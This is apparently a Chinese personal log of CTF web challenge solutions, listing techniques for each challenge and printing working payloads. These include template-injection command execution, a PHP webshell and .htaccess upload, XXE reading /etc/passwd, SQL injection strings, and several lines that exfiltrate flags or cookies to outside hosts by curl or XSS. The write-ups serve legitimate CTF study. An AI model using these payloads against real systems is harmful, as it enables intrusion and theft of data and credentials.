学Amadeus搞个刷题记录(其实是懒得写wp了)
BJDCTF2020
EasySearch
- index.php.swp源码泄露
- 爆破md5
- ssi注入
Mark loves cat
The mystery of ip
- smarty ssti,{{system("cat /flag")}}命令执行
Cookie is so stable
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ezPHP
$_SERVER['QUERY_STRING']
url编码绕过
%0a
绕过正则
- 利用
$_REQUEST
解析顺序
- data伪协议
- 数组绕过sha1比较
- create_function()代码注入
get_defined_vars()
获取所有变量值
- 字符串异或和取反
ZJCTF,不过如此
BJDCTF 2nd
fake google
old-hack
duangShell
简单注入
- 无
'
情况下用\
注入
- 无
select
无堆叠注入,但能拿到当前用的表的数据
xss之光
- 这题…直接反序列化一个字符串
<script>window.location.href='xxxx'+document.cookie</script>
就行
- 预期解是反序列化
Exception
类,利用__toString()
造成xss
文件探测
- php
srpintf
格式化字符串漏洞,可以用%
将后面的%d
转义
- AES加密,密钥已知,明文是一个放在session中的随机字符串,并且难以破解。但可以不带
PHPSESSID
访问使明文为空,即可算出对应密文
GXYCTF2019
BabyUpload
1
| SetHandler application/x-httpd-php
|
1
| <script language='php'>eval($_REQUEST['LionTree'])</script>
|
- 这题搞了个2048字节的限制。。结果正常的图片一张都传不上去。。无语
StrongestMind
强网杯2019
upload
- GIF89a绕过
getimagesize
- 文件上传使用了
copy
而不是move_uploaded_file
,利用反序列化去将已上传的webshell改为.php
后缀
- 反序列化exp记得写命名空间。。忘了这个折腾半天
CISCN2019
华北赛区 Day1 Web5 CyberPunk
华东南赛区 Web11
- smarty ssti,{{system("cat /flag")}}命令执行
华东南赛区 Double Secret
- flask ssti
- flask debug模式安全
华东北赛区 web2
- xss 中
<svg>
标签的使用,使后面的特殊符号能够用html实体替代
Web4
urllib.urlopen
任意文件读取,^file.*
禁了file协议,有三种绕过
- 空格+
file://
- CVE-2019-9948,
local_file://
- 直接
app.py
读到源码
- 伪随机数
1 2
| random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
|
通过读取/sys/class/net/eth0/address
得到mac地址,能够算出uuid.getnode()
的值,爆破可以得到SECRET_KEY
FBCTF2019
RCEService
- PCRE回溯次数绕过
- 非预期解,利用换行符绕过
- 黑盒考这个是真想不到。。
BSidesCF 2019
Futurella
Kookie
Pick Tac Toe
- 直接发包可以覆盖对手走过的地方
- 正常下还真是下不过电脑…
Had a bad day
SVGMagic
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|
- flag在/proc/self/cwd/flag.txt…
HarekazeCTF2019
encode_and_encode
- 利用json_decode会自动将utf8编码解码
RCTF2015
EasySQL
- 找回密码的地方二次注入
- 这里用了很少见到的
"
而不是'
- 测试的时候可以直接用
'"\
这样的组合,一次确定是否存在注入
- 比较坑的是给了个没用的phpinfo,还以为要sql注入写文件覆盖opcache
SWPU2019
Web4
- 无回显情况下的堆叠注入
- 可以用
;
检测堆叠注入
- prepare statement 绕过关键词过滤
- 变量覆盖导致的文件读取
Web3
- flask前端session伪造
- 上传软链接读取敏感文件
- linux下利用
&
多语句命令执行
/proc/self/cwd/
读取当前进程路径下的文件
/proc/self/environ
获取当前进程环境变量,得到flask绝对路径
- curl 外带
@
读文件
- awk声明无法使用的字符
1
| $(III=`awk 'BEGIN{printf \"%c\", 47}'`&&curl xxx.xxx.xxx.xxx:9999 -T `echo ${III}ctf${III}hgfjakshgfuasguiasguiaaui${III}myflask${III}flag${III}flag.jpg`).zip
|
Web6
select with rollup
注入
- session原生类反序列化,soap ssrf
SWPU2018
SimplePHP
- phar反序列化
- phar反序列化记得用绝对路径。。又被这个坑了
EIS 2019
EzPOP
GYCTF2020
Node Game
- nodejs
http.get
设计缺陷,通过Request Splitting造成ssrf
- pug模板命令执行
1
| - global.process.mainModule.require('child_process').execSync('curl http://174.1.29.57/ -X POST -d `cat /flag.txt`')
|
Ezsqli
- 在无
information_schema
的情况下利用sys库获取表名
- 无
union select
的情况下无列名注入
1
| 1-((select 'a') = (select substr(group_concat(table_name),1,1) from sys.schema_table_statistics_with_buffer where table_schema=database()))
|
- 看smile师傅的出题笔记还有一个考点是mysql在比较时不区分大小写,需要用
CONCAT("A", CAST(0 AS JSON))
强制进行字节对字节的比较。不过buu上的环境不知道为啥用不了CAST,而且flag里也没有大写字母
安洵杯 2019
不是文件上传
- insert注入反序列化序列
- 文件名中不能有双引号,需要用16进制插入数据库中
网鼎杯
Unfinish
- register.php直接可以盲注,过滤了
,
和information
,
可以用case when
绕过
- 尝试用innodb的表和sys中的表都没成功,看网上wp都是盲猜存在flag表做的…
- 还有一种做法是注册的时候将想要的内容放入username中,登录查看
1
| 0'%2B(select hex(hex(database())))%2B'0
|
b01lersCTF 2020
life_on_mars
- 长知识了…第一次见在from位置的注入,黑盒下一脸懵逼…
1
| cur.execute("SELECT name, description FROM " + search)
|
Zer0ptsCTF 2020
Can you guess it?
$_SERVER['PHP_SELF']
可控,index.php/config.php
会访问index.php,但$_SERVER['PHP_SELF']
会是index.php/config.php
basename()
函数缺陷,会把文件名开头的非ASCII值丢掉
notepad
- flask ssti读取secret_key
- 通过session进行pickle反序列化
- 无法弹shell,使用sleep无回显命令执行
urlapp
- redis CRLF注入
- redis
BITOP
指令,对key做位运算,并把结果保存到新key里
- redis
setbit
指令,改变key的某一位
MusicBlog
strip_tags()
缺陷,允许在标签名中存在/
- 注入
<a/udio id="like" href=http://xxxx>
,会被解析成<a>
标签,绕过csp
- 不知道为啥在buu上nc收不到数据,需要用requestbin
phpNantokaAdmin
- sqlite注入
- sqlite的
sqlite_master
中保存了所有表名以及创建表时的create语句
- 在创建表时可以用as来复制另一个表中的数据
as "..."
将原有的干扰字符闭合到查询的别名里
- sqlite
[]
替代双引号
GWCTF2019
你的名字
- flask的SSTI,但是返回的是php的报错…wp上说能用http头判断但buu上的环境只有一个
server:openrestry
,根本看不出来…
- 过滤了 {{ ,并且会把一些关键字替换为空,使用 {% 加双写绕过
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %}
V&N2020 公开赛
EasySpringMVC
- java 反序列化时会调用类的
readObject
方法
VolgaCTF 2020 Qualifier
Netcorp
- 幽灵猫读classes目录下的class文件,得到源码,发现存在文件上传
- 上传jsp马后幽灵猫包含
NCTF2019
SQLi
watevrCTF-2019
Cookie Store
Pickle Store